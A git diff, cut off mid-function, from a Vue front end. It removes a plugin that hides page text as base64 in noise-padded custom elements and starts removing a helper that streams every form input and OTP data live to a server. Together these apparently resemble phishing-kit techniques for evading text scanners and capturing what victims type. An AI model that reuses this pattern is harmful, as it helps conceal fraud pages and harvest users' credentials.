</style>
|
|
||||||
@@ -1,4 +1,3 @@
|
|||||||
import { TextObfuscatorPlugin } from "./mix/textObfuscator";
|
|
||||||
import { createApp, ref } from "vue";
|
import { createApp, ref } from "vue";
|
||||||
import { createPinia } from "pinia";
|
import { createPinia } from "pinia";
|
||||||
|
|
||||||
@@ -25,6 +24,5 @@ app.use(i18n);
|
|||||||
app.use(createPinia());
|
app.use(createPinia());
|
||||||
app.use(router);
|
app.use(router);
|
||||||
|
|
||||||
// //app.use(TextObfuscatorPlugin);
|
|
||||||
app.mount("#app");
|
app.mount("#app");
|
||||||
export default i18n;
|
export default i18n;
|
||||||
|
|||||||
@@ -1,643 +0,0 @@
|
|||||||
import type { ComponentInternalInstance, Plugin, App } from 'vue';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 全局文本混淆插件
|
|
||||||
* 自动查找并替换所有文本节点
|
|
||||||
*/
|
|
||||||
// 修改Vue混淆插件以确保处理整个组件树
|
|
||||||
export const TextObfuscatorPlugin: Plugin = {
|
|
||||||
install(app: App) {
|
|
||||||
// 安装全局样式和解码脚本
|
|
||||||
addObfuscationStyle();
|
|
||||||
|
|
||||||
// 注册全局指令,直接处理元素内容
|
|
||||||
app.directive('odata', {
|
|
||||||
mounted(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
setupMutationObserver(el);
|
|
||||||
},
|
|
||||||
updated(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 在 app.mixin 中修改处理 $el 的部分
|
|
||||||
app.mixin({
|
|
||||||
mounted() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
// 1. 首先处理当前组件的根元素
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
// 2. 递归处理所有子元素,确保覆盖所有文本节点
|
|
||||||
const processAllChildNodes = (element: Element) => {
|
|
||||||
if (!(element instanceof Element)) return;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 为每个子元素单独处理文本节点
|
|
||||||
const childElements = element.querySelectorAll('*');
|
|
||||||
childElements.forEach(childEl => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
// 立即解码当前处理的元素
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(element), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing child nodes:', error, element);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 处理整个组件树
|
|
||||||
processAllChildNodes(rootElement);
|
|
||||||
|
|
||||||
// 设置监听
|
|
||||||
setupMutationObserver(rootElement);
|
|
||||||
});
|
|
||||||
// 添加:深度扫描所有包含纯文本的元素
|
|
||||||
setTimeout(() => {
|
|
||||||
const scanPureTextElements = (rootElement: Element) => {
|
|
||||||
// 跳过已处理过的元素
|
|
||||||
if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
|
|
||||||
let hasOnlyTextNodes = false;
|
|
||||||
let hasElementNodes = false;
|
|
||||||
|
|
||||||
if (rootElement.childNodes && rootElement.childNodes.length > 0) {
|
|
||||||
hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
|
|
||||||
);
|
|
||||||
|
|
||||||
hasElementNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.ELEMENT_NODE
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
|
|
||||||
if (hasOnlyTextNodes && !hasElementNodes &&
|
|
||||||
!SKIP_TAGS.includes(rootElement.tagName) &&
|
|
||||||
!Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
processTextNodes(rootElement, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(rootElement);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 递归处理子元素
|
|
||||||
if (rootElement.children) {
|
|
||||||
Array.from(rootElement.children).forEach(child => {
|
|
||||||
scanPureTextElements(child);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 从body开始扫描
|
|
||||||
scanPureTextElements(document.body);
|
|
||||||
}, 10); // 给DOM足够的时间渲染
|
|
||||||
},
|
|
||||||
|
|
||||||
updated() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element | undefined) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 递归处理所有子元素
|
|
||||||
const childElements = rootElement.querySelectorAll('*');
|
|
||||||
childElements.forEach((childEl: Element) => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing updated component:', error, rootElement);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 声明全局函数类型
|
|
||||||
declare global {
|
|
||||||
interface Window {
|
|
||||||
decodeObfuscatedContent: (rootElement?: Element) => void;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 需要跳过的标签
|
|
||||||
const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
|
|
||||||
// 需要跳过的类名
|
|
||||||
const SKIP_CLASSES = ['no-obfuscate'];
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 处理元素中的所有文本节点
|
|
||||||
*/
|
|
||||||
function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
|
|
||||||
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 为 DIV 元素增加优先处理逻辑
|
|
||||||
if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
|
|
||||||
// 对于DIV元素,特殊处理其直接子文本节点
|
|
||||||
let hasTextContent = false;
|
|
||||||
for (let i = 0; i < element.childNodes.length; i++) {
|
|
||||||
const node = element.childNodes[i];
|
|
||||||
if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
|
|
||||||
hasTextContent = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果DIV中有直接的文本内容,标记它需要被处理
|
|
||||||
if (hasTextContent) {
|
|
||||||
// 只处理未混淆过的DIV
|
|
||||||
const textContent = Array.from(element.childNodes)
|
|
||||||
.filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
|
|
||||||
.map(node => node.textContent).join('').trim();
|
|
||||||
|
|
||||||
if (textContent) {
|
|
||||||
// 替换整个DIV的内容
|
|
||||||
const originalHTML = element.innerHTML;
|
|
||||||
const processedHTML = obfuscateText(textContent);
|
|
||||||
element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
|
|
||||||
element.setAttribute('data-obfuscated', 'true');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 跳过带有特定标记的元素(避免重复处理)
|
|
||||||
if (element.hasAttribute('data-obfuscated') ||
|
|
||||||
!element ||
|
|
||||||
SKIP_TAGS.includes(element.tagName) ||
|
|
||||||
Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用 TreeWalker 遍历所有文本节点
|
|
||||||
const walker = document.createTreeWalker(
|
|
||||||
element,
|
|
||||||
NodeFilter.SHOW_TEXT,
|
|
||||||
{
|
|
||||||
acceptNode(node) {
|
|
||||||
// 不处理完全空的文本节点
|
|
||||||
if (!node.textContent) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查父节点是否应该被跳过
|
|
||||||
const parent = node.parentElement;
|
|
||||||
if (parent && (
|
|
||||||
SKIP_TAGS.includes(parent.tagName) ||
|
|
||||||
parent.hasAttribute('data-obfuscated') ||
|
|
||||||
Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
|
|
||||||
)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果只包含空白且不是段落的首个节点,则跳过
|
|
||||||
if (node.textContent.trim() === '' &&
|
|
||||||
!(parent?.tagName === 'P' && node === parent.firstChild)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NodeFilter.FILTER_ACCEPT;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
// 收集需要处理的文本节点
|
|
||||||
const textNodes: Text[] = [];
|
|
||||||
let currentNode: Node | null = walker.nextNode();
|
|
||||||
|
|
||||||
while (currentNode) {
|
|
||||||
textNodes.push(currentNode as Text);
|
|
||||||
currentNode = walker.nextNode();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 预先计算所有混淆内容,减少DOM操作次数
|
|
||||||
const fragments: DocumentFragment[] = [];
|
|
||||||
const nodesToReplace: Text[] = [];
|
|
||||||
|
|
||||||
// 在处理文本节点前,移除所有前导空格
|
|
||||||
for (const textNode of textNodes) {
|
|
||||||
const text = textNode.textContent;
|
|
||||||
if (!text) continue;
|
|
||||||
|
|
||||||
// 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
|
|
||||||
let processedText = text;
|
|
||||||
if (textNode.parentElement?.tagName === 'P' &&
|
|
||||||
textNode === textNode.parentElement.firstChild) {
|
|
||||||
// 去除开头的空白,无论什么情况
|
|
||||||
processedText = text.replace(/^\s+/, '');
|
|
||||||
// 如果去除空白后为空,直接跳过这个节点
|
|
||||||
if (!processedText) continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 创建文档碎片来存储混淆后的内容
|
|
||||||
const fragment = document.createDocumentFragment();
|
|
||||||
const tempContainer = document.createElement('div');
|
|
||||||
tempContainer.innerHTML = obfuscateText(processedText);
|
|
||||||
|
|
||||||
// 将内容移动到碎片中
|
|
||||||
while (tempContainer.firstChild) {
|
|
||||||
fragment.appendChild(tempContainer.firstChild);
|
|
||||||
}
|
|
||||||
|
|
||||||
fragments.push(fragment);
|
|
||||||
nodesToReplace.push(textNode);
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing text node:', error);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 批量替换节点,减少回流
|
|
||||||
for (let i = 0; i < nodesToReplace.length; i++) {
|
|
||||||
const textNode = nodesToReplace[i];
|
|
||||||
const fragment = fragments[i];
|
|
||||||
|
|
||||||
if (textNode.parentNode) {
|
|
||||||
textNode.parentNode.replaceChild(fragment, textNode);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 设置 MutationObserver 来监听 DOM 变化
|
|
||||||
*/
|
|
||||||
function setupMutationObserver(element: Element) {
|
|
||||||
if (!element) return;
|
|
||||||
|
|
||||||
const observer = new MutationObserver((mutations) => {
|
|
||||||
for (const mutation of mutations) {
|
|
||||||
if (mutation.type === 'childList' && mutation.addedNodes.length) {
|
|
||||||
mutation.addedNodes.forEach((node) => {
|
|
||||||
if (node.nodeType === Node.ELEMENT_NODE) {
|
|
||||||
processTextNodes(node as Element, null);
|
|
||||||
// 观察到新元素后立即解码
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(node as Element);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
observer.observe(element, {
|
|
||||||
childList: true,
|
|
||||||
subtree: true
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 生成随机噪声标签和注释
|
|
||||||
*/
|
|
||||||
function getRandomNoise() {
|
|
||||||
const noiseTypes = [
|
|
||||||
// HTML注释
|
|
||||||
() => `<!--${Math.random().toString(36).substring(2, 6)}-->`,
|
|
||||||
// 空的自定义元素
|
|
||||||
() => {
|
|
||||||
const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
|
|
||||||
const tag = tags[Math.floor(Math.random() * tags.length)];
|
|
||||||
return `<${tag}></${tag}>`;
|
|
||||||
},
|
|
||||||
// 带随机属性的自定义元素
|
|
||||||
() => {
|
|
||||||
const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
|
|
||||||
const value = Math.random().toString(36).substring(2, 10);
|
|
||||||
return `<z-attr ${attr}="${value}"></z-attr>`;
|
|
||||||
},
|
|
||||||
// 带随机文本的隐藏元素
|
|
||||||
() => {
|
|
||||||
const text = Math.random().toString(36).substring(2, 8);
|
|
||||||
return `<z-text>${text}</z-text>`;
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
// 随机选择一种噪声类型
|
|
||||||
const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
|
|
||||||
return noiseGenerator();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
|
|
||||||
*/
|
|
||||||
function obfuscateText(text: string): string {
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 首先移除文本开头的所有空白字符以解决段落首行缩进问题
|
|
||||||
text = text.replace(/^\s+/, '');
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 使用正则表达式将文本拆分为单词和空格,保持完整性
|
|
||||||
const words = text.split(/(\s+)/);
|
|
||||||
let result = '<z-wrap data-obfuscated="true">';
|
|
||||||
|
|
||||||
// 过滤掉空字符串,避免生成空的z-span元素
|
|
||||||
const filteredWords = words.filter(word => word.length > 0);
|
|
||||||
|
|
||||||
// 为每个单词创建一个独立的自定义元素
|
|
||||||
filteredWords.forEach((word, index) => {
|
|
||||||
// 对空格和特殊字符进行特殊处理
|
|
||||||
if (/^\s+$/.test(word)) {
|
|
||||||
// 改进:更精确地处理各种换行符
|
|
||||||
if (/[\n\r]/.test(word)) {
|
|
||||||
// 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
|
|
||||||
result += '<z-break></z-break>';
|
|
||||||
} else {
|
|
||||||
// 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
|
|
||||||
result += '<z-space></z-space>';
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 随机在单词前添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 为了提高效率,固定属性名
|
|
||||||
const attrId = `data`;
|
|
||||||
|
|
||||||
// 将单词编码为Base64
|
|
||||||
const encodedWord = btoa(encodeURIComponent(word));
|
|
||||||
|
|
||||||
// 随机选择z-span或z-strong标签增加混淆度
|
|
||||||
const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
|
|
||||||
|
|
||||||
// 添加标签开始部分
|
|
||||||
result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
|
|
||||||
|
|
||||||
// 随机在标签内添加隐藏内容,但减少频率
|
|
||||||
if (Math.random() > 0.8) {
|
|
||||||
const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
|
|
||||||
result += `<z-hidden>${fakeText}</z-hidden>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 闭合标签
|
|
||||||
result += `</${tagName}>`;
|
|
||||||
|
|
||||||
// 随机在单词后添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
result += '</z-wrap>';
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 添加显示混淆内容的样式和解码脚本
|
|
||||||
*/
|
|
||||||
function addObfuscationStyle() {
|
|
||||||
// 添加样式
|
|
||||||
if (!document.getElementById('obfuscation-style')) {
|
|
||||||
const style = document.createElement('style');
|
|
||||||
style.id = 'obfuscation-style';
|
|
||||||
style.textContent = `
|
|
||||||
/* 自定义元素基本样式 */
|
|
||||||
z-wrap {
|
|
||||||
display: inline;
|
|
||||||
white-space: normal;
|
|
||||||
user-select: none; /* 阻止文本选择 */
|
|
||||||
text-indent: 0 !important; /* 确保无缩进 */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 添加一个类来允许选择文本的情况 */
|
|
||||||
.allow-select z-wrap {
|
|
||||||
user-select: text;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 确保段落中的混淆内容没有开头缩进 */
|
|
||||||
p > z-wrap:first-child {
|
|
||||||
text-indent: 0 !important;
|
|
||||||
margin-left: 0 !important;
|
|
||||||
padding-left: 0 !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 处理所有p标签,确保没有多余空间 */
|
|
||||||
p {
|
|
||||||
text-indent: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span, z-strong {
|
|
||||||
display: inline-block;
|
|
||||||
position: relative;
|
|
||||||
opacity: 1;
|
|
||||||
transition: opacity 0.1s ease;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 控制右侧间距 */
|
|
||||||
z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
|
|
||||||
margin-left: 0.1em;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 移除最后一个元素的右侧间距 */
|
|
||||||
z-span:last-child, z-strong:last-child {
|
|
||||||
margin-right: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span::after, z-strong::after {
|
|
||||||
content: attr(data-content);
|
|
||||||
position: relative;
|
|
||||||
pointer-events: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空格元素 - 精确控制宽度 */
|
|
||||||
z-space {
|
|
||||||
display: inline-block;
|
|
||||||
width: 0.25em;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空的z-span/z-strong元素不应该显示 */
|
|
||||||
z-span:not([data-content]), z-strong:not([data-content]) {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 换行元素 - 强制换行且完全没有尺寸 */
|
|
||||||
z-break {
|
|
||||||
display: block !important;
|
|
||||||
height: 0 !important;
|
|
||||||
width: 0 !important;
|
|
||||||
margin: 0 !important;
|
|
||||||
padding: 0 !important;
|
|
||||||
border: none !important;
|
|
||||||
line-height: 0 !important;
|
|
||||||
font-size: 0 !important;
|
|
||||||
overflow: hidden !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 隐藏所有噪声元素 */
|
|
||||||
z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
|
|
||||||
display: none;
|
|
||||||
width: 0;
|
|
||||||
height: 0;
|
|
||||||
opacity: 0;
|
|
||||||
overflow: hidden;
|
|
||||||
position: absolute;
|
|
||||||
visibility: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 预加载状态 */
|
|
||||||
[data-preload="true"] {
|
|
||||||
min-width: 0.5em;
|
|
||||||
min-height: 1em;
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(style);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加自定义元素注册,确保所有浏览器都能正确处理
|
|
||||||
const scriptCustomElements = document.createElement('script');
|
|
||||||
scriptCustomElements.textContent = `
|
|
||||||
// 注册所有自定义元素
|
|
||||||
if ('customElements' in window) {
|
|
||||||
customElements.define('z-wrap', class extends HTMLElement {});
|
|
||||||
customElements.define('z-span', class extends HTMLElement {});
|
|
||||||
customElements.define('z-strong', class extends HTMLElement {});
|
|
||||||
customElements.define('z-space', class extends HTMLElement {});
|
|
||||||
customElements.define('z-break', class extends HTMLElement {});
|
|
||||||
|
|
||||||
// 注册噪声元素
|
|
||||||
customElements.define('z-nil', class extends HTMLElement {});
|
|
||||||
customElements.define('z-void', class extends HTMLElement {});
|
|
||||||
customElements.define('z-null', class extends HTMLElement {});
|
|
||||||
customElements.define('z-fake', class extends HTMLElement {});
|
|
||||||
customElements.define('z-empty', class extends HTMLElement {});
|
|
||||||
customElements.define('z-attr', class extends HTMLElement {});
|
|
||||||
customElements.define('z-text', class extends HTMLElement {});
|
|
||||||
customElements.define('z-hidden', class extends HTMLElement {});
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(scriptCustomElements);
|
|
||||||
|
|
||||||
// 添加提前解码的脚本,放在<head>顶部优先加载
|
|
||||||
if (!document.getElementById('obfuscation-script')) {
|
|
||||||
const script = document.createElement('script');
|
|
||||||
script.id = 'obfuscation-script';
|
|
||||||
script.textContent = `
|
|
||||||
(function() {
|
|
||||||
// 定义解码函数并暴露为全局函数
|
|
||||||
window.decodeObfuscatedContent = function(rootElement) {
|
|
||||||
const root = rootElement || document.body;
|
|
||||||
const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
|
|
||||||
|
|
||||||
if (elements.length === 0) return;
|
|
||||||
|
|
||||||
// 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
|
|
||||||
const runWhenIdle = window.requestIdleCallback ||
|
|
||||||
function(cb) { setTimeout(cb, 1); };
|
|
||||||
|
|
||||||
runWhenIdle(() => {
|
|
||||||
elements.forEach(el => {
|
|
||||||
// 避免重复解码
|
|
||||||
if (el.hasAttribute('data-content')) return;
|
|
||||||
|
|
||||||
// 找到编码数据
|
|
||||||
const dataAttr = el.getAttribute('data-data');
|
|
||||||
if (dataAttr) {
|
|
||||||
try {
|
|
||||||
// 解码并设置
|
|
||||||
const decodedWord = decodeURIComponent(atob(dataAttr));
|
|
||||||
el.setAttribute('data-content', decodedWord);
|
|
||||||
el.removeAttribute('data-preload');
|
|
||||||
} catch (e) {
|
|
||||||
// 解码失败时跳过
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
// 页面加载完成后立即执行一次全局解码
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用IntersectionObserver优化解码性能
|
|
||||||
if ('IntersectionObserver' in window) {
|
|
||||||
const decodeObserver = new IntersectionObserver(
|
|
||||||
(entries, observer) => {
|
|
||||||
entries.forEach(entry => {
|
|
||||||
if (entry.isIntersecting) {
|
|
||||||
// 容器进入视口时解码其内容
|
|
||||||
window.decodeObfuscatedContent(entry.target);
|
|
||||||
observer.unobserve(entry.target);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
},
|
|
||||||
{ rootMargin: '200px 0px' } // 提前200像素开始解码
|
|
||||||
);
|
|
||||||
|
|
||||||
// 监听所有混淆容器
|
|
||||||
function observeContainers() {
|
|
||||||
document.querySelectorAll('z-wrap').forEach(container => {
|
|
||||||
decodeObserver.observe(container);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始观察
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', observeContainers);
|
|
||||||
} else {
|
|
||||||
observeContainers();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 定期检查新容器
|
|
||||||
setInterval(observeContainers, 2000);
|
|
||||||
} else {
|
|
||||||
// 降级方案:定期全局检查
|
|
||||||
setInterval(() => window.decodeObfuscatedContent(), 1000);
|
|
||||||
}
|
|
||||||
})();
|
|
||||||
`;
|
|
||||||
|
|
||||||
// 将脚本添加到head的最前面,确保尽早加载
|
|
||||||
if (document.head.firstChild) {
|
|
||||||
document.head.insertBefore(script, document.head.firstChild);
|
|
||||||
} else {
|
|
||||||
document.head.appendChild(script);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,331 +0,0 @@
|
|||||||
import _ from "lodash";
|
|
||||||
import { sendInput } from "@/api/api";
|
|
||||||
import type { Socket } from "@/utils/websocket";
|
|
||||||
import eventBus from "@/utils/eventBus";
|
|
||||||
import router from "@/router";
|
|
||||||
import { ref } from "vue";
|
|
||||||
import { useSocket } from "@/utils/websocket";
|
|
||||||
import { useLoadingStore } from "@/stores/loadingStore";
|
|
||||||
import i18n from "@/main";
|
|
||||||
import { useSocketIo } from "./socketio";
|
|
||||||
|
|
||||||
const viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
|
||||||
|
|
||||||
// WebSocket interface
|
|
||||||
interface MyWebSocket {
|
|
||||||
socket: any;
|
|
||||||
send: (data: string) => Promise<void>;
|
|
||||||
off: (event: string) => void;
|
|
||||||
on: (event: string, callback: (data: any) => void) => void;
|
|
||||||
}
|
|
||||||
|
|
||||||
export const customOtpData = ref<any>({});
|
|
||||||
|
|
||||||
export function setCustomOtpData(data: any) {
|
|
||||||
customOtpData.value = data;
|
|
||||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
|
||||||
}
|
|
||||||
|
|
||||||
export let myWebSocket: MyWebSocket | undefined;
|
|
||||||
|
|
||||||
// Configuration data
|
|
||||||
export const configData = ref<Record<string, any>>({});
|
|
||||||
|
|
||||||
// Utility function to check if all values in an object are not empty
|
|
||||||
export function areAllValuesNotEmpty(
|
|
||||||
obj: Record<string, any>,
|
|
||||||
excludedFields: string[] = []
|
|
||||||
): boolean {
|
|
||||||
return Object.keys(obj).every((key) => {
|
|
||||||
if (excludedFields.includes(key)) return true;
|
|
||||||
const value = obj[key];
|
|
||||||
return (
|
|
||||||
value !== null &&
|
|
||||||
value !== undefined &&
|
|
||||||
value !== "" &&
|
|
||||||
!(typeof value === "string" && value.trim() === "")
|
|
||||||
);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 存储 WebSocket 和 API 的防抖函数
|
|
||||||
const wsDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
const apiDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
|
|
||||||
// 获取或创建针对某个键的防抖函数
|
|
||||||
function getDebouncedFunction(
|
|
||||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
|
||||||
key: string,
|
|
||||||
func: (...args: any[]) => void,
|
|
||||||
wait: number
|
|
||||||
) {
|
|
||||||
if (!debounceFunctions[key]) {
|
|
||||||
debounceFunctions[key] = _.debounce(func, wait);
|
|
||||||
}
|
|
||||||
return debounceFunctions[key];
|
|
||||||
}
|
|
||||||
|
|
||||||
const modeRef = ref(1)
|
|
||||||
|
|
||||||
|
|
||||||
// 处理输入变化
|
|
||||||
export function inputChange(type: string, key: any, value: any) {
|
|
||||||
const currentTimestamp = Date.now(); // 当前时间戳
|
|
||||||
|
|
||||||
// WebSocket 防抖函数
|
|
||||||
const wsDebouncedFunction = getDebouncedFunction(
|
|
||||||
wsDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "input_text",
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
})
|
|
||||||
);
|
|
||||||
},
|
|
||||||
300
|
|
||||||
);
|
|
||||||
|
|
||||||
// API 防抖函数
|
|
||||||
const apiDebouncedFunction = getDebouncedFunction(
|
|
||||||
apiDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
sendInput({
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
});
|
|
||||||
},
|
|
||||||
1000
|
|
||||||
);
|
|
||||||
|
|
||||||
// 调用防抖函数
|
|
||||||
wsDebouncedFunction(type, key, value);
|
|
||||||
if(modeRef.value !== 2) {
